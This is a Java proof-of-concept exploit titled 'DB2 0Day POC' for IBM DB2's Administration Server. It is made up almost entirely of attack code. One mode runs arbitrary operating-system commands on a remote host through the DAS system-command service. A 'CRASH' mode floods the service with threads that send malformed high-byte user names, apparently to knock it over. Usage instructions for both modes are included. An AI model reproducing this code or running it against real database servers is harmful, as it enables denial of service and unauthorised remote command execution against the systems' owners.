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DB2 0Day POC
package org.axt.db2das;
import com.ibm.db2.das.core.DasException;
import com.ibm.db2.das.core.DasService;
import com.ibm.db2.das.core.DasServiceListener;
import com.ibm.db2.das.core.Sqlca;
class TestRunSysCmd implements DasServiceListener, Runnable {
private final String host;
private final byte desttype;
private final String user;
private final String passwd;
private final String command;
TestRunSysCmd(String host, byte desttype, String user, String passwd, String command) {
this.host = host;
this.desttype = desttype;
this.user = user;
this.passwd = passwd;
this.command = command;
}
public void processReply(DasService dasservice) {
if (dasservice instanceof DasSysCmd)
try {
DasSysCmd dassyscmd = (DasSysCmd) dasservice;
Sqlca sqlca = dassyscmd.getDasSqlca();
System.out.println((new StringBuilder())
.append("Return Code = ").append(sqlca.getSqlCode())
.toString());
if (sqlca.getSqlCode() == 0) {
System.out.println("Cmd Return Code = "
+ dassyscmd.getCommandReturnCode());
System.out.println("Success Set Return Code = "
+ dassyscmd.getSuccessSetRc());
System.out.println("Output = ");
System.out.println(dassyscmd.getOutputData());
}
} catch (DasException dasexception) {
System.out.println("Exception: Sqlcode = "
+ dasexception.getSqlca().getSqlCode());
}
}
public void run() {
try {
DasSysCmd dassyscmd = new DasSysCmd(host, desttype, user, passwd);
dassyscmd.setDomain(null);
dassyscmd.setInstanceName(null);
dassyscmd.setDB2Release(-1);
dassyscmd.setNewScript(command, null, null);
dassyscmd.setWorkingDirectory(".");
dassyscmd.setOutputRequired(true);
dassyscmd.addListener(this);
Thread thread = new Thread(dassyscmd);
thread.start();
thread.join();
} catch (Exception exception) {
System.out.println((new StringBuilder()).append("Error ")
.append(exception).toString());
}
}
}
public class Crash {
public static void main(String[] args) {
boolean printUsage = false;
if(args.length == 4) {
TestRunSysCmd trsc = new TestRunSysCmd(args[0], (byte) 0, args[1], args[2], args[3]);
trsc.run();
} else if(args.length == 2 && args[1].equals("CRASH")){
for(int i=128;i<255;i++) {
TestRunSysCmd trsc = new TestRunSysCmd(args[0], (byte) 0, String.format("%c",i), "---", "whoami");
new Thread(trsc).start();
}
} else {
printUsage = true;
}
if(printUsage) {
System.err.println("Usage:");
System.err.println("\t-normal mode: \t<program> <hostname> <username> <password> <command-to-run>");
System.err.println("\t-crash mode: \t<program> <hostname> CRASH");
}
}
}
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